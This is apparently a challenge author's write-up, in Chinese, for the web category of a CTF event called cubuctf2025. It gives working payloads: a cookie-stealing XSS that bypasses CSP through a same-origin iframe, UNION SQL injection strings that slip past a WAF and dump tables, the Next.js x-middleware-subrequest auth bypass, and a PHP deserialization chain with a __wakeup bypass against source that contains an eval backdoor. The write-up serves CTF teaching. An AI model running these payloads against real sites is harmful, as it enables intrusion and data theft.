cubuctf2025出题人wp-WEB
Yukiyuki_csp
进入页面可见一个登录页
路径扫描到/log
可以发现有一个root
用户一直在访问留言板
(注:这里疏忽了,没加上root的访问路径可能会导致师傅们认为root是访问的登录页)
弱密码爆破出账号为admin
密码www
进入后注意到存在xss
但是被csp
拦截
可以先看哪些没被拦
允许从自己站点加载 <iframe>
,那就可以考虑有什么页面
回到登录页可以注意到提示中提到的登录失败记录
会回显用户名
尝试后发现无拦截
考虑在留言板用<iframe src="/login"></iframe>
来同源iframe
绕过csp
然后登录界面写一个提交cookie
的xss
<script>
fetch('/board', {
method: 'POST',
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body: 'message=' + encodeURIComponent(document.cookie)
});
</script>
再返回留言板刷新几次就有flag
了
这题的失败点在于
登录界面的xss会被师傅们第一时间察觉
导致师傅们会结合log一直在登录界面去尝试获取bot的cookie
在这里向师傅们道歉
Sql_No_map...?
进入点几篇文章可以发现id=1
尝试一下后常见的fuzz
也可以发现sql注入
多构造一下也能猜出来屏蔽了什么要怎么绕过
进入看下前端有什么信息
根据index.php
源码显示到其引用的lib.php
知道waf
后简单的注释符绕过
和or and 绕过
报错注入
#获取所有数据库名
?id=-1/**/UNION/**/SELECT/**/GROUP_CONCAT(schema_name),0/**/FROM/**/information_schema.schemata#
#获取指定数据库下的所有表名
?id=-1/**/UNION/**/SELECT/**/GROUP_CONCAT(table_name),0/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema='ctf'#
#获取目标表的所有字段名
?id=-1/**/UNION/**/SELECT/**/GROUP_CONCAT(column_name),0/**/FROM/**/information_schema.columns/**/WHERE/**/table_name='FLAG'#
#读取 FLAG 表的 `k`, `v` 字段
?id=-1/**/UNION/**/SELECT/**/GROUP_CONCAT(CONCAT(k,0x3a,v)),0/**/FROM/**/FLAG#
或
解法二
直接Sqlmap
换个ua头
也能出XD:
以下为Lwrzgo师傅出的cve题
🎭 Mutsumi or Mortis?
现在你将扮演
若葉睦
的同学兼朋友Soyo
,你在发现异样后找到她,请尝试从被Mortis
抢占的系统中寻回属于Mutsumi
的人格碎片Flag。首先,你觉得可以从找到防线的漏洞作为突破点,于是拿起了另一只称作中间件的舞鞋放在耳边尝试和她沟通……
根据题目所给的信息,可以知道是中间件漏洞
,首先用浏览器插件,或者通过分析源码附件的dockerfile,知道这个使用的是Next.js-15.2.2
分析文件结构,知道Flag存在于/admin路由,我们只需用权限访问/admin就能获取Flag,但是访问自动跳转403
如何绕过呢?我们搜索发现存在一个CVE-2025-29927(Next.js中间件鉴权绕过)
的漏洞
https://vercel.com/blog/postmortem-on-next-js-middleware-bypass
原理 :中间件未正确校验 x-middleware-subrequest 请求头,导致攻击者可绕过鉴权逻辑。
通过构造特殊HTTP请求头,访问受保护的 /admin 页面获取Flag。
要利用此漏洞,你可以在请求中添加 x-middleware-subrequest 请求头,其值为middleware:middleware:middleware:middleware:middleware。Next.js 中间件会错误地处理此请求头并绕过身份验证检查:
可见,没有传入任何身份认证信息即可成功访问到admin。
碎碎念:这题还有个非预期的解法,刚开始设计题目的时候没有打算放出源码附件,就写了个简单的判断逻辑,后面验证题目的时候队友觉得有点难想到这个CVE,所以干脆不改直接把源码放出来
如下:
我们看中间件的逻辑,发现isAdmin
有值,直接判断为假,所以设置个cookie
也可以绕过
✉️ Poem:Imprisoned XII
深夜中,
三角初华
为丰川祥子(Sakiko)
写下歌词,却因“卑微”而难以把歌词表达,只有解开初华心中的隔阂,才能让这些词汇完整回响。现在你将扮演丰川祥子的队友若麦
,你发现了这一切,请尝试找到并提交隐藏在初华内心中的词韵Flag,平台解析出歌词后,发送给祥子……
<?php
//歌词来源:网易云
highlight_file(__FILE__);
error_reporting(0);
// 夜幕下,初华轻声低语:
echo "描绘扭曲天空,我不禁去遐想\n";
echo "愿无羽翼的你,堕临至我身旁\n";
class FalseSight {
private $hue;
public function __toString() {
return "IslandMirage";
}
public function __wakeup() {
// 虚影掠过,声音瞬间消散
echo "我不幸触碰了,神圣高洁之物…\n";
trigger_error("Fading echo...", E_USER_NOTICE);
}
}
function phantom_melody($data) {
// 虚语解析,却始终听不清
echo "只求你在今夜,成为我的神话…\n";
return base64_decode(str_rot13($data));
}
$illusory_song = "flag{faux_melody}";
if (isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'CRYCHIC') === false) {
die("尝试挽回,祥子拒绝:仅限 CRYCHIC 成员\n");
}
$cmd = $_GET['cmd'];
if ($cmd) {
// 幕后演奏,暗号解码
echo "看吧,你已无路可逃…\n";
eval(str_rot13($cmd));
}
class SongGazer {
private $realName = "Hatsune";
public $soundState = "muted";
private $melody = "";
public function __construct() {
// 接近祥子时,初华心中涌出“音律”
echo "我清楚地知晓,但现在就悄悄,与君共度奇妙时光…\n";
$this->melody = file_get_contents('flag.php');
}
public function __wakeup() {
// 想要喊出时,声音被静音,旋律丢失
echo "将逐渐虚弱的你,紧紧关住…\n";
$this->soundState = "silenced";
$this->melody = "";
}
public function __destruct() {
// 当声音重归通畅,旋律才得以完全绽放
if ($this->soundState === "resonant" && $this->melody !== "") {
$this->melody = file_get_contents('/flag.php');
echo "我如痴如狂…\n";
echo $this->melody;
}
}
}
set_exception_handler(function ($e) {
echo "祥子,你迷失了吗?\n" . md5($e->getMessage()) . "\n";
exit;
});
try {
if (rand(0, 1)) {
throw new Exception("Cosmic static");
}
} catch (Exception $e) {
}
if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}
分析发现,考察代码审计以及 PHP反序列化漏洞
首先看到PHP版本<5.6.25
,可以考虑绕过Wakeup
反序列化漏洞:CVE-2016-7124
版本限制:PHP5 <5.6.25 PHP7 <7.0.10
产生原因:如果存在__wakeup方法,调用unserialize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值,大于真实属性个数,会跳过__wakeup方法
构造POP链
<?php
class SongGazer {
private $realName = "Hatsune";
public $soundState = "muted";
private $melody;
}
$obj = new SongGazer();
$obj->soundState = "resonant";
$ser = serialize($obj);
echo "序列化POP:\n" . $ser . "\n";
?>
得到(注意空白符要换成%00):
O:9:"SongGazer":3:{s:19:"%00SongGazer%00realName";s:7:"Hatsune";s:10:"soundState";s:8:"resonant";s:17:"%00SongGazer%00melody";N;}
3改成4,get提交,记得修改HTTP_USER_AGENT
为CRYCHIC
?payload=O:9:"SongGazer":4:{s:19:"%00SongGazer%00realName";s:7:"Hatsune";s:10:"soundState";s:8:"resonant";s:17:"%00SongGazer%00melody";N;}
Flag在元素选项卡
放着
另外,考虑到可能没有找到 wakeup 绕过方法的,靠简单的代码审计一句话漏洞也能得到 flag
$cmd = $_GET['cmd'];
if ($cmd) {
// 幕后演奏,暗号解码
echo "看吧,你已无路可逃…\n";
eval(str_rot13($cmd));
}
Comments NOTHING